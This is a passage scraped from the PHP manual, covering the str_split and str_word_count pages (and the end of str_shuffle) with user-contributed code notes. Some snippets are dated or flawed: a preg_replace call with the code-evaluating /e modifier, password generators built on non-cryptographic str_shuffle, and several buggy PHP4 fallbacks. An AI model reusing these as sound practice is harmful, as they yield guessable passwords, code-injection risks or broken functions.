jojersztajner at OXYGEN dot POLAND 16-Jun-2007 12:27
Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe.

Hree's a cdoe taht slerbmcas txet in tihs way:
<?php
    function scramble_word($word) {
        if (strlen($word) < 2)
            return $word;
        else
            return $word{0} . str_shuffle(substr($word, 1, -1)) . $word{strlen($word) - 1};
    }

    echo preg_replace('/(\w+)/e', 'scramble_word("\1")', 'A quick brown fox jumped over the lazy dog.');
?>

It may be ufseul if you wnat to cetare an aessblicce CTCPAHA.
CygnusX1 14-Feb-2007 10:17
To cobine functionality and simplicity of the two functions below we can have:

<?php
function generatePasswd($numAlpha=6,$numNonAlpha=2)
{
   $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';
   return str_shuffle(
      substr(str_shuffle($listAlpha),0,$numAlpha) .
      substr(str_shuffle($listNonAlpha),0,$numNonAlpha)
    );
}
?>
dzafel at op dot pl 29-Dec-2006 10:16
Very, very simple random password generator, without using rand() function:

<?php
function random_password($chars = 8) {
   $letters = 'abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
   return substr(str_shuffle($letters), 0, $chars);
}
?>
Michiel van den boogaard 17-Jan-2005 11:03
Shortend function for PHP < 4.3
<?php
function RandomPass($numchar)
{
    $word = "a,b,c,d,e,f,g,h,i,j,k,l,m,1,2,3,4,5,6,7,8,9,0";
    $array=explode(",",$word);
    shuffle($array);
    $newstring = implode($array,"");
    return substr($newstring, 0, $numchar);
}
?>


Convert a string to an array

  • « str_shuffle
  • str_word_count »
  • PHP Manual
  • String Functions
  • Convert a string to an array

str_split

(PHP 5)

str_split — Convert a string to an array

Description

array str_split ( string $string [, int $split_length = 1 ] )

Converts a string to an array.

Parameters

string

The input string.

split_length

Maximum length of the chunk.

Return Values

If the optional split_length parameter is specified, the returned array will be broken down into chunks with each being split_length in length, otherwise each chunk will be one character in length.

FALSE is returned if split_length is less than 1. If the split_length length exceeds the length of string, the entire string is returned as the first (and only) array element.

Examples

Example #1 Example uses of str_split()

<?php

$str = "Hello Friend";

$arr1 = str_split($str);
$arr2 = str_split($str, 3);

print_r($arr1);
print_r($arr2);

?>

The above example will output:

Array
(
    [0] => H
    [1] => e
    [2] => l
    [3] => l
    [4] => o
    [5] =>
    [6] => F
    [7] => r
    [8] => i
    [9] => e
    [10] => n
    [11] => d
)

Array
(
    [0] => Hel
    [1] => lo
    [2] => Fri
    [3] => end
)

See Also

  • chunk_split() - Split a string into smaller chunks
  • preg_split() - Split string by a regular expression
  • explode() - Split a string by string
  • count_chars() - Return information about characters used in a string
  • str_word_count() - Return information about words used in a string
  • for

User Contributed Notes

kunal dot b at indiaproperty dot com 26-Sep-2014 07:34
Note that in atleast in PHP 5.5.9 (Zend Engine v2.5.0), str_split with an integer value as an argument may return unpredictable results.

If your number contains leading 0's, the result array is unprdictable as it may contain any number of digits from the argument or (mostly) just a 0.

Here are a list of possible values that might be returned:
-Interger

<?php
print_r(str_split(0080450));  // does not work
print_r(str_split(strval(0080450)));  // neither this

/*
* Outputs:
* Array
* (
*     [0] => 0
* )
*/
?>

BUT
<?php
print_r(str_split(80450));  // works fine
print_r(str_split(strval(80450)));  // so does this

/*
* Outputs:
* (
*     [0] => 8
*     [1] => 0
*     [2] => 4
*     [3] => 5
*     [4] => 0
* )
*/
?>

Floating point numbers have their leading and trailing 0s cut off:
<?php
print_r(str_split(0080450.0010));   // works but.. print_r(str_split(strval(0080450.0010)));  // same here..

/*
Outputs:
* Array
* (
*     [0] => 8
*     [1] => 0
*     [2] => 4
*     [3] => 5
*     [4] => 0
*     [5] => .
*     [6] => 0
*     [7] => 0
*     [8] => 1
* )
*/
?>

I'm not sure if this can be considered a bug, since this is due to how type conversion and casting works, so i just posted it here.
I've notced that this is how strval() works. Can anyone shed light into this?..
robert dot johnson at icap dot com 11-Sep-2014 11:38
<?php
/* Another implementation of str_split_unicode: */
function str_split_unicode($str, $l = 0)
{
    return preg_split('/(.{'.$l.'})/us', $str, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
}
?>
qeremy [atta] gmail [dotta] com 20-Sep-2013 05:31
A new version of "str_split_unicode" prev.

<?php
function str_split_unicode($str, $length = 1) {
    $tmp = preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY);
    if ($length > 1) {
        $chunks = array_chunk($tmp, $length);
        foreach ($chunks as $i => $chunk) {
            $chunks[$i] = join('', (array) $chunk);
        }
        $tmp = $chunks;
    }
    return $tmp;
}
?>

$s = 'Özgür Yazılım!'; // Open Source!

print_r(str_split_unicode($s));
print_r(str_split_unicode($s, 3));

Array
(
    [0] => Ö
    [1] => z
    [2] => g
    [3] => ü
    [4] => r
    [5] =>
    [6] => Y
    [7] => a
    [8] => z
    [9] => ı
    [10] => l
    [11] => ı
    [12] => m
    [13] => !
)
Array
(
    [0] => Özg
    [1] => ür
    [2] => Yaz
    [3] => ılı
    [4] => m!
)
jakub dot lopuszanski at nasza-klasa dot pl 05-Jul-2013 10:38
To split UTF-8 into 16-charcater slices you can use:
<?php
preg_split('/(?=(.{16})*$)/u', $text);
?>
You can also use look-behind instead of look-ahead if you want the first (not the last) chunk to be the shortest.
stlawson AT JoyfulEarthTech DOT com 29-Apr-2013 03:48
The documentation fails to mention what happens when the string length does not divide evenly with the chunk size.  Not sure if the same behavior for all versions of PHP so I offer the following code to determine this for your installation.  On mine [version 5.2.17], the last chunk is an array the length of the remaining chars.

<?php

$da_string = "When number of chars does't divide evenly";
$len = strlen($da_string);
$chunk_size = 8;
echo "<p> Length of <span style='font-family:monospace'>$da_string</span>: $len</p>\n";
echo "<p> Chunck size: $chunk_size</p>\n";
$parts = str_split($da_string, $chunk_size);
$html = "<table border='5' cellpadding='3' cellspacing='4'>\n";
foreach ($parts as $idx=>$part)
{
   $html .= "<tr>\n";
   $html .= "<td style='font-family:monospace'>$part</td>";
   $chars = str_split($part);
   foreach ($chars as $char)
   {
       if ($char === ' ')
       {
           $html .= "<td>&nbsp;</td>";
       }
       else
       {
           $html .= "<td>$char</td>";
       }
   }
   $html .= "</tr>\n";
}
$html .= "</table>\n";
echo $html;
?>
Anonymous 08-Jun-2012 10:02
A little one-liner that came in handy. I thought i'd share for those who want to split a string into two parts by the given offset.

<?php

    /**
    * Split a string into two parts at offset.
    *
    * @param    string    $string
    * @param    integer    $offset
    * @return    mixed    array and bool(false) if offset is out of scope
    */

function str_osplit($string, $offset){
    return isset($string[$offset]) ? array(substr($string, 0, $offset), substr($string, $offset)) : false;
    }

$str = "Split a string into two parts at offset";
var_dump(str_osplit($str, 12));

/**
* Output:
array(2) {
  [0]=>
  string(12) "Split a stri"
  [1]=>
  string(27) "ng into two parts at offset"
}
*/

?>
qeremy [atta] gmail [dotta] com 24-Feb-2012 09:23
A proper unicode string split;

<?php
function str_split_unicode($str, $l = 0) {
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
?>

$s = "Ilık süt"; // Mild milk

print_r(str_split($s, 3));
print_r(str_split_unicode($s, 3));

Array
(
    [0] => Il�
    [1] => �k
    [2] => sü
    [3] => t
)

Array
(
    [0] => Ilı
    [1] => k s
    [2] => üt
)
anon 15-Jun-2010 05:53
I needed a function that could split a string from the end with any left over chunk being at the beginning of the array (the beginning of the string).

<?php
function str_rsplit($str, $sz)
{
    // splits a string "starting" at the end, so any left over (small chunk) is at the beginning of the array.
    if ( !$sz ) { return false; }
    if ( $sz > 0 ) { return str_split($str,$sz); }    // normal split

    $l = strlen($str);
    $sz = min(-$sz,$l);
    $mod = $l % $sz;

    if ( !$mod ) { return str_split($str,$sz); }    // even/max-length split

    // split
    return array_merge(array(substr($str,0,$mod)), str_split(substr($str,$mod),$sz));
}

$str = 'aAbBcCdDeEfFg';
str_split($str,5); // return: {'aAbBc','CdDeE','fFg'}
str_rsplit($str,5); // return: {'aAbBc','CdDeE','fFg'}
str_rsplit($str,-5); // return: {'aAb','BcCdD','eEfFg'}

?>
seebz.net 03-May-2010 03:27
here an equivalent function for unicode string :

<?php
function uni_strsplit($string, $split_length=1)
{
    preg_match_all('`.`u', $string, $arr);
    $arr = array_chunk($arr[0], $split_length);
    $arr = array_map('implode', $arr);
    return $arr;
}
nemostein at hotmail dot com 28-Aug-2009 08:51
The manual don't says what is returned when you parse a different type of variable.

This is the example:

<?php

$str1 = "Long"; // More than 1 char
$str2 = "x"; // Only 1 char
$str3 = ""; // Empty String
$str4 = 34; // Integer
$str5 = 3.4; // Float
$str6 = true; // Bool
$str7 = null; // Null

$spl1 = str_split($str1);
$spl2 = str_split($str2);
$spl3 = str_split($str3);
$spl4 = str_split($str4);
$spl5 = str_split($str5);
$spl6 = str_split($str6);
$spl7 = str_split($str7);

echo count($spl1); // 4
echo count($spl2); // 1
echo count($spl3); // 1
echo count($spl4); // 2
echo count($spl5); // 3
echo count($spl6); // 1
echo count($spl7); // 1

print_r($spl1);
print_r($spl2);
print_r($spl3);
print_r($spl4);
print_r($spl5);
print_r($spl6);
print_r($spl7);

/*

Array
(
    [0] => L
    [1] => o
    [2] => n
    [3] => g
)
Array
(
    [0] => x
)
Array
(
    [0] =>
)
Array
(
    [0] => 3
    [1] => 4
)
Array
(
    [0] => 3
    [1] => .
    [2] => 4
)
Array
(
    [0] => 1
)
Array
(
    [0] =>
)

*/

?>
mattias at lsahlin dot se 19-Mar-2009 03:46
For those it may concern:

We encountered trubble when trying to str_split a UTF-8 encoded string, containing such Swedish letters as å, å and ö.

It seems that this function splits according to byte-length and not character length. So if the letter "Å" takes 2 bytes, then str_split() will only return the first bite of the character "Å".

We ain't 100% sure that this is the case but this was anyhow the result we got. So we used the multi-byte functions instead.
thax 24-Nov-2008 03:44
Regarding ricordatis comment on preg_match_all('/./u',...) instead of preg_split('//u',...):
You'll have to use the pattern '/./us' with preg_match_all to get exactly the same behaviour w.r.t. newlines. Don't know if this is still faster, though. Oh, and the expected result is in $array[0].
rrelmy 04-Aug-2008 04:20
revised function from tatsudoshi

Fixed some bugs, more php5 style compliant
<?php
if(!function_exists('str_split')) {
    function str_split($string,$string_length=1) {
        if(strlen($string)>$string_length || !$string_length) {
            do {
                $c = strlen($string);
                $parts[] = substr($string,0,$string_length);
                $string = substr($string,$string_length);
            } while($string !== false);
        } else {
            $parts = array($string);
        }
        return $parts;
    }
}
?>
ricordati at web dot de 01-Aug-2008 04:21
To split unicode text, preg_match_all('/./u', $text, $array); seems faster for large strings than the use of preg_split('//u', $text); suggested by "edgaras dot janusauskas at gmail dot com" below.
vec [ at t] g dot com 21-Jun-2008 05:38
the fastast way (that fits my needs) to replace str_split() in php 4 i found is this:

<?php
if(!function_exists('str_split')) {
  function str_split($string, $split_length = 1) {
    $array = explode("\r\n", chunk_split($string, $split_length));
    array_pop($array);
    return $array;
  }
}
?>

i also tested the provided functions in the comments..

(the differences are 0.001 to 0.00001 sec)
saeedco 21-May-2008 12:20
This function supportes utf8

(improvement of function str_split_php4)

i tried this function successfully with these languages
1- Chinese
2- Japanese
3- Arabic
4- Turkish
5- Urdu
6- Russian
7- Persian

<?php
function str_split_php4_utf8($str) {
    // place each character of the string into and array
    $split=1;
    $array = array();
    for ( $i=0; $i < strlen( $str ); ){
        $value = ord($str[$i]);
        if($value > 127){
            if($value >= 192 && $value <= 223)
                $split=2;
            elseif($value >= 224 && $value <= 239)
                $split=3;
            elseif($value >= 240 && $value <= 247)
                $split=4;
        }else{
            $split=1;
        }
            $key = NULL;
        for ( $j = 0; $j < $split; $j++, $i++ ) {
            $key .= $str[$i];
        }
        array_push( $array, $key );
    }
    return $array;
}
?>
lskatz at gmail dot com 07-May-2008 08:42
A good use of str_split is reverse translating an amino acid sequence.

<?php
/* reverse translate an aa sequence using its dna counterpart */
function reverseTranslate($aaSeq,$ntSeq){
  $nt=str_split($ntSeq,3);
  $aa=str_split($aaSeq,1);
  $gapChar=array('*','-');

  $numAa=count($aa);
  $ntIndex=0;
  $newNtSeq="";
  for($i=0;$i<$numAa;$i++){
    // if the aa is a gap, then just put on a gap character
    if(in_array($aa[$i],$gapChar)){
      $newNtSeq.='---';
    }
    else{
      $newNtSeq.=$nt[$ntIndex];
      $ntIndex++;
    }
  }
  return $newNtSeq;
}
?>
kevin at metalaxe dot com 15-Mar-2008 05:49
Response to "Richard Ayotte 18-Jan-2008 09:27":

Slight tweak to prevent the need to call another preg_replace, there were also some bugs in this that I'm surprised didn't get noticed (causing duplicate replaces between the preg_replace calls) :)

Please feel free to optimize further. I'm not the best with lookahead/behinds yet. I also removed the :upper/lower: and it seemed to speed things up too.

<?php
$test = 'CustomerIDWithSomeOtherJETWords';

preg_replace('/(?!^)[A-Z]{2,}(?=[A-Z][a-z])|[A-Z][a-z]/', ' $0', $test));
?>

Shaves off a little time anyway. :)
Anonymous 03-Jan-2008 09:04
Version of str_split by rlpvandenberg at hotmail dot com is god-damn inefficient and when $i+$j > strlen($text) [last part of string] throws a lot of notice errors. This should work better:

    if(! function_exists('str_split'))
    {
        function str_split($text, $split = 1)
        {
            $array = array();

            for ($i = 0; $i < strlen($text);)
            {
                $array[] = substr($text, $i, $split);
                $i += $split;
            }

            return $array;
        }
    }
rlpvandenberg at hotmail dot com 19-Dec-2007 08:22
The previous suggestion is almost correct (and will only working for strlen=1. The working PHP4 function is:

<code>
function str_split($text, $split = 1){
    //place each character of the string into and array
    $array = array();
    for ($i=0; $i < strlen($text); $i++){
        $key = "";
        for ($j = 0; $j < $split; $j++){
            $key .= $text[$i+$j];
        }
        $i = $i + $j - 1;
        array_push($array, $key);
    }
    return $array;
}
</code>
mohd at ba7rain dot net 29-Nov-2007 11:24
this function can perform a reverse str_split. I write it for PHP4 but you can rename It for other versions..

if ( !function_exists('str_split') ) {
function str_split($string,$split_length=1){
    $sign = (($split_length<0)?-1:1);
    $strlen = strlen($string);
    $split_length = abs($split_length);
    if ( ($split_length==0) || ($strlen==0) ){
            $result = false;
            //$result[] = "";
    }
    elseif ($split_length >= $strlen){
        $result[] = $string;
    }
    else {
        $length = $split_length;
        for ($i=0; $i<$strlen; $i++){
            $i=(($sign<0)?$i+$length:$i);
            $result[] = substr($string,$sign*$i,$length);
            $i--;
            $i=(($sign<0)?$i:$i+$length);
            if ( ($i+$split_length) > ($strlen) ){
                $length = $strlen-($i+1);
            }
            else {
                $length = $split_length;
            }
        }
    }
    return $result;
}
}
atolia at gmail----- dot com 10-Nov-2007 10:48
i use this in PHP4

function str_split($str){
   return preg_split('//',$str);
}
magisano at cs dot unibo dot it 06-Nov-2007 05:14
Even shorter version:

//place each character (or group of) of the
string into and array

function str_split_php4($sText, $iSplit = 1)
{
    $iSplit=(integer) $iSplit;       // sanity check
    if ($iSplit < 1) {  return false; }
    $aResult = array();
    for($i=0, $limit=strlen($sText); $i < $limit; $i+=$iSplit) {
        $aResult[]=substr($sText, $i, $iSplit);
    }
    return $aResult;
}
dacmeaux at gmail dot com 01-Nov-2007 10:57
I was looking for a function that would split a string into an array like str_split() and found Razor's function above. Just though that I would simplify the code a little.

<?php
function str_split_php4($text, $split = 1){
    //place each character of the string into and array
    $array = array();
    for($i=0; $i < strlen($text); $i++){
        $key = NULL;
        for ($j = 0; $j < $split; $j++){
            $key .= $text[$i];
        }
        array_push($array, $key);
    }
    return $array;
}
?>

Both mine and worksRazor's work well, I just prefer to use less code. I could have written one myself, but I was just being lazy.
Sam 25-Sep-2007 10:24
A good way to use this method to convert CamelCase text into nice text would be-

<?php
        /**
         Returns a formatted string based on camel case.
         e.g. "CamelCase" -> "Camel Case".
        */
        function FormatCamelCase( $string ) {
                $output = "";
                foreach( str_split( $string ) as $char ) {
                        strtoupper( $char ) == $char and $output and $output .= " ";
                        $output .= $char;
                }
                return $output;
        }
?>
kjensen at iaff106 dot com 11-Aug-2007 09:59
Here is what I use. I started with examples here but modified to my own version:

<?php
if (phpversion () < "5"){ // define PHP5 functions if server uses PHP4

function str_split($text, $split = 1)
{
if (!is_string($text)) return false;
if (!is_numeric($split) && $split < 1) return false;
$len = strlen($text);
$array = array();
$s = 0;
$e=$split;
while ($s <$len)
    {
        $e=($e <$len)?$e:$len;
        $array[] = substr($text, $s,$e);
        $s = $s+$e;
    }
return $array;
}
}
?>
l0c4lh0st DOT nl AT gmail DOT com 12-Jun-2007 02:28
how I can conwert
$string
 '1, 2, 5, 6, 10, 13, 23'
from ENUM at mySQL to

$array
[0] -> false
[1] -> true
[2] -> true
[3] -> false
[4] -> false
[5] -> true
[6] -> true
[7] -> false
[8] -> false
[9] -> false
[10] -> true
[11] -> false
[12] -> false
[13] -> true
[14] -> false
[15] -> false
...
[23] -> true

<?php
function enum_to_array($psEnum)
{
    $aReturn = array();
    $aTemp = explode(', ', $psEnum);
    for ($i = $aTemp[0]; $i <= $aTemp[count($aTemp)-1]; $i++)
    {
        $aReturn[$i] = in_array($i, $aTemp);
    }
}
?>
Razor 10-May-2007 09:02
heres my version for php4 and below

<?php

function str_split_php4($text, $split = 1)
{
    if (!is_string($text)) return false;
    if (!is_numeric($split) && $split < 1) return false;

    $len = strlen($text);

    $array = array();

    $i = 0;

    while ($i < $len)
    {
        $key = NULL;

        for ($j = 0; $j < $split; $j += 1)
        {
            $key .= $text{$i};

            $i += 1;
        }

        $array[] = $key;
    }

    return $array;
}

?>
webmaster at nsssa dot ca 28-Oct-2006 04:45
I noticed in the post below me that his function would return an array with an empty key at the end.

So here is just a little fix for it.

<?php

//Create a string split function for pre PHP5 versions
function str_split($str, $nr) {

     //Return an array with 1 less item then the one we have
     return array_slice(split("-l-", chunk_split($str, $nr, '-l-')), 0, -1);

}

?>
fstorm2 at gmail dot com 29-Aug-2006 11:08
If you use PHP 4 and don't need the split_length parameter, here's the shortest replacement:

<?php

preg_split('#(?<=.)(?=.)#s', $str);

?>
malmsteenforce at tlen dot pl 20-Jul-2006 07:52
<?
//fast & short version od str_split

function string_split($str)
      {
        $str_array=array();
        $len=strlen($str);
        for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
        return $str_array;
       }
//example :
var_dump (string_split("split this"));
?>
user at mockme dot com 25-Mar-2006 02:53
found this great example on a php board for those not using php5, as an alternative to the posts below this

<?php
if(!function_exists('str_split')){
    function str_split($string,$split_length=1){
        $count = strlen($string);
        if($split_length < 1){
            return false;
        } elseif($split_length > $count){
            return array($string);
        } else {
            $num = (int)ceil($count/$split_length);
            $ret = array();
            for($i=0;$i<$num;$i++){
                $ret[] = substr($string,$i*$split_length,$split_length);
            }
            return $ret;
        }
    }
}
?>
heavyraptor 10-Mar-2006 11:07
I think that the last post by carlosreche at yahoo dot com is too complicated.
It's much easier if you do it like this:

<?php
if (!function_exists("str_split")) {
  function str_split($str,$length = 1) {
    if ($length < 1) return false;
    $strlen = strlen($str);
    $ret = array();
    for ($i = 0; $i < $strlen; $i += $length) {
     $ret[] = substr($str,$i,$length);
    }
    return $ret;
  }
}
?>

I hope it helps for those with PHP <5
carlosreche at yahoo dot com 15-Feb-2006 01:23
For those who work with PHP < 5:

<?php

if (!function_exists("str_split")) {
    function str_split($string, $length = 1) {
        if ($length <= 0) {
            trigger_error(__FUNCTION__."(): The the length of each segment must be greater then zero:", E_USER_WARNING);
            return false;
        }
        $splitted  = array();
        $str_length = strlen($string);
        $i = 0;
        if ($length == 1) {
            while ($str_length--) {
                $splitted[$i] = $string[$i++];
            }
        } else {
            $j = $i;
            while ($str_length > 0) {
                $splitted[$j++] = substr($string, $i, $length);
                $str_length -= $length;
                $i += $length;
            }
        }
        return $splitted;
    }
}

?>
Hage Yaapa 04-Feb-2006 03:27
The very handy str_split() was introduced in PHP 5, but a lot of us are still forced to use PHP 4 at our host servers. And I am sure a lot of beginners have looked or are looking for a function to accomplish what str_split() does.

Taking advantge of the fact that strings are 'arrays' I wrote this tiny but useful e-mail cloaker in PHP, which guarantees functionality even if JavaScript is disabled in the client's browser. Watch how I make up for the lack of str_split() in PHP 4.3.10.

<?php

// cloackEmail() accepts a string, the email address to be cloaked
function cloakEmail($email) {

// We create a new array called $arChars, which will contain the individula characters making up the email address. The array is blank for now.
    $arChars = array();

// We extract each character from the email 'exploiting' the fact that strings behave like an array: watch the '$email[$i]' bit, and beging to fill up the blank array $arChars
    for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }

// Now we work on the $arChars array: extract each character in the array and print out it's ASCII value prefixed with '&#' to convert it into an HTML entity
    foreach ($arChars as $char) { print '&#'.ord($char); }

// The result is an email address in HTML entities which, I hope most email address harvesters can't read.

}
print cloakEmail('someone@nokikon.com');
?>

###### THE CODE ABOVE WITHOUT COMMENTS ######

<?php
function cloakEmail($email) {
    $arChars = array();
    for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }
    foreach ($arChars as $char) { print '&#'.ord($char); }
}
print cloakEmail('someone@nokikon.com');
?>
In creating this little utility, I demonstrated how the lack of str_split() can be made up in PHP < 5. If you got how it was accomplished, you could write a function to do exactly what str_split() does in PHP 5 and even name it 'str_split()'. :)


Return information about words used in a string

  • « str_split
  • strcasecmp »
  • PHP Manual
  • String Functions
  • Return information about words used in a string

str_word_count

(PHP 4 >= 4.3.0, PHP 5)

str_word_count — Return information about words used in a string

Description

mixed str_word_count ( string $string [, int $format = 0 [, string $charlist ]] )

Counts the number of words inside string. If the optional format is not specified, then the return value will be an integer representing the number of words found. In the event the format is specified, the return value will be an array, content of which is dependent on the format. The possible value for the format and the resultant outputs are listed below.

For the purpose of this function, 'word' is defined as a locale dependent string containing alphabetic characters, which also may contain, but not start with "'" and "-" characters.

Parameters

string

The string

format

Specify the return value of this function. The current supported values are:

  • 0 - returns the number of words found
  • 1 - returns an array containing all the words found inside the string
  • 2 - returns an associative array, where the key is the numeric position of the word inside the string and the value is the actual word itself

charlist

A list of additional characters which will be considered as 'word'

Return Values

Returns an array or an integer, depending on the format chosen.

Changelog

Version | Description
5.1.0 | Added the charlist parameter

Examples

Example #1 A str_word_count() example

<?php

$str = "Hello fri3nd, you're
       looking          good today!";

print_r(str_word_count($str, 1));
print_r(str_word_count($str, 2));
print_r(str_word_count($str, 1, 'àáãç3'));

echo str_word_count($str);

?>

The above example will output:

Array
(
    [0] => Hello
    [1] => fri
    [2] => nd
    [3] => you're
    [4] => looking
    [5] => good
    [6] => today
)

Array
(
    [0] => Hello
    [6] => fri
    [10] => nd
    [14] => you're
    [29] => looking
    [46] => good
    [51] => today
)

Array
(
    [0] => Hello
    [1] => fri3nd
    [2] => you're
    [3] => looking
    [4] => good
    [5] => today
)

7

See Also

  • explode() - Split a string by string
  • preg_split() - Split string by a regular expression
  • split() - Split string into array by regular expression
  • count_chars() - Return information about characters used in a string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

uri at speedy dot net 15-Aug-2012 04:08
Here is a count words function which supports UTF-8 and Hebrew. I tried other functions but they don't work. Notice that in Hebrew, '"' and '\'' can be used in words, so they are not separators. This function is not perfect, I would prefer a function we are using in JavaScript which considers all characters except [a-zA-Zא-ת0-9_\'\"] as separators, but I don't know how to do it in PHP.

I removed some of the separators which don't work well with Hebrew ("\x20", "\xA0", "\x0A", "\x0D", "\x09", "\x0B", "\x2E"). I also removed the underline.

This is a fix to my previous post on this page - I found out that my function returned an incorrect result for an empty string. I corrected it and I'm also attaching another function - my_strlen.

<?php

function count_words($string) {
    // Return the number of words in a string.
    $string= str_replace("&#039;", "'", $string);
    $t= array(' ', "\t", '=', '+', '-', '*', '/', '\\', ',', '.', ';', ':', '[', ']', '{', '}', '(', ')', '<', '>', '&', '%', '$', '@', '#', '^', '!', '?', '~'); // separators
    $string= str_replace($t, " ", $string);
    $string= trim(preg_replace("/\s+/", " ", $string));
    $num= 0;
    if (my_strlen($string)>0) {
        $word_array= explode(" ", $string);
        $num= count($word_array);
    }
    return $num;
}

function my_strlen($s) {
    // Return mb_strlen with encoding UTF-8.
    return mb_strlen($s, "UTF-8");
}

?>
cito at wikatu dot com 04-Feb-2012 06:29
<?php

/***
 * This simple utf-8 word count function (it only counts)
 * is a bit faster then the one with preg_match_all
 * about 10x slower then the built-in str_word_count
 *
 * If you need the hyphen or other code points as word-characters
 * just put them into the [brackets] like [^\p{L}\p{N}\'\-]
 * If the pattern contains utf-8, utf8_encode() the pattern,
 * as it is expected to be valid utf-8 (using the u modifier).
 **/

// Jonny 5's simple word splitter
function str_word_count_utf8($str) {
  return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
?>
Samer Ata 05-Jan-2012 06:21
This is my own version of to get SEO meta description from wordpress post content. it is also generic usage function to get the first n words from a string.

<?php
function my_meta_description($text,$n=10)
{
$text=strip_tags($text);  // not neccssary for none HTML
// $text=strip_shortcodes($text); // uncomment only inside wordpress system
$text = trim(preg_replace("/\s+/"," ",$text));
$word_array = explode(" ", $text);
if (count($word_array) <= $n)
return implode(" ",$word_array);
else
{
$text='';
foreach ($word_array as $length=>$word)
{
    $text.=$word ;
    if($length==$n) break;
    else $text.=" ";
}
}
return $text;
?>
Stano110 at azet dot sk 10-Jul-2011 03:36
This function count words, is quick and works well with utf-8: (this is corrected version from my previous post)

<?php
function count_words($string)
{
    $string = htmlspecialchars_decode(strip_tags($string));
    if (strlen($string)==0)
        return 0;
    $t = array(' '=>1, '_'=>1, "\x20"=>1, "\xA0"=>1, "\x0A"=>1, "\x0D"=>1, "\x09"=>1, "\x0B"=>1, "\x2E"=>1, "\t"=>1, '='=>1, '+'=>1, '-'=>1, '*'=>1, '/'=>1, '\\'=>1, ','=>1, '.'=>1, ';'=>1, ':'=>1, '"'=>1, '\''=>1, '['=>1, ']'=>1, '{'=>1, '}'=>1, '('=>1, ')'=>1, '<'=>1, '>'=>1, '&'=>1, '%'=>1, '$'=>1, '@'=>1, '#'=>1, '^'=>1, '!'=>1, '?'=>1); // separators
    $count= isset($t[$string[0]])? 0:1;
    if (strlen($string)==1)
        return $count;
    for ($i=1;$i<strlen($string);$i++)
        if (isset($t[$string[$i-1]]) && !isset($t[$string[$i]])) // if new word starts
            $count++;
    return $count;
}
?>
matthewkastor at live dot com 06-Apr-2011 04:08
This needs improvement, but works well as is.

<?php
/**
 * Generates an alphabetical index of unique words, and a count of their occurrences, in a file.
 *
 * This works on html pages or plain text files.
 * This function uses file_get_contents, so it
 * is possible to use a url instead of a local filename.
 *
 * Change the search pattern at
 * <code> $junk = preg_match('/[^a-zA-Z]/', $word); </code>
 * if you want to keep words with numbers or other characters. The pattern
 * I've set searches for anything that is not an upper or lowercase letter,
 * you may want something else.
 *
 * The array returned will look something like this:
 * <code>
 * Array
 * (
 *     [0] => Array
 *        (
 *            [word] => a
 *            [count] => 21
 *        )
 *
 *     [1] => Array
 *        (
 *            [word] => ability
 *            [count] => 1
 *        )
 * )
 * </code>
 *
 * @param string $file The file ( or url ) you want to create an index from.
 * @return array
 */
function index_page($file) {
    $index = array();
    $find = array(
        '/\r/',
        '/\n/',
        '/\s\s+/'
    );
    $replace = array(
        ' ',
        ' ',
        ' '
    );
    $work = file_get_contents($file);
    $work = preg_replace('/[>][<]/', '> <', $work);
    $work = strip_tags($work);
    $work = strtolower($work);
    $work = preg_replace($find, $replace, $work);
    $work = trim($work);
    $work = explode(' ', $work);
    natcasesort($work);
    $i = 0;
    foreach($work as $word) {
        $word = trim($word);
        $junk = preg_match('/[^a-zA-Z]/', $word);
        if($junk == 1) {
            $word = '';
        }
        if( (!empty($word)) && ($word != '') ) {
            if(!isset($index[$i]['word'])) { // if not set this is a new index
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            } elseif( $index[$i]['word'] == $word ) {  // count repeats
                $index[$i]['count'] += 1;
            } else { // else this is a different word, increment $i and create an entry
                $i++;
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            }
        }
    }
    unset($work);
    return($index);
}
?>

example usage:

<?php
$file = 'http://www.php.net/';
// or use a local file, see file_get_contents() for valid filenames and restrictions.

$index = index_page($file);
echo '<pre>'.print_r($index,true).'</pre>';
?>
dmVuY2lAc3RyYWhvdG5pLmNvbQ== (base64) 18-Oct-2010 01:39
to count words after converting a msword document to plain text with antiword, you can use this function:

<?php
function count_words($text) {
    $text = str_replace(str_split('|'), '', $text); // remove these chars (you can specify more)
    $text = trim(preg_replace('/\s+/', ' ', $text)); // remove extra spaces
    $text = preg_replace('/-{2,}/', '', $text); // remove 2 or more dashes in a row
    $len = strlen($text);

    if (0 === $len) {
        return 0;
    }

    $words = 1;

    while ($len--) {
        if (' ' === $text[$len]) {
            ++$words;
        }
    }

    return $words;
}
?>

it strips the pipe "|" chars, which antiword uses to format tables in its plain text output, removes more than one dashes in a row (also used in tables), then counts the words.

counting words using explode() and then count() is not a good idea for huge texts, because it uses much memory to store the text once more as an array. this is why i'm using while() { .. } to walk the string
lballard dot cat at gmail dot com 27-Sep-2010 05:17
word limiter:

<?php
$str = "my hella long string" ;
$length = 3;
$shortened =
implode(' ',array_slice(str_word_count($str,1),0,$length));
?>
brettz9 - see yahoo 13-Feb-2010 08:33
Words also cannot end in a hyphen unless allowed by the charlist...
charliefrancis at gmail dot com 29-Jul-2009 01:56
Hi this is the first time I have posted on the php manual, I hope some of you will like this little function I wrote.

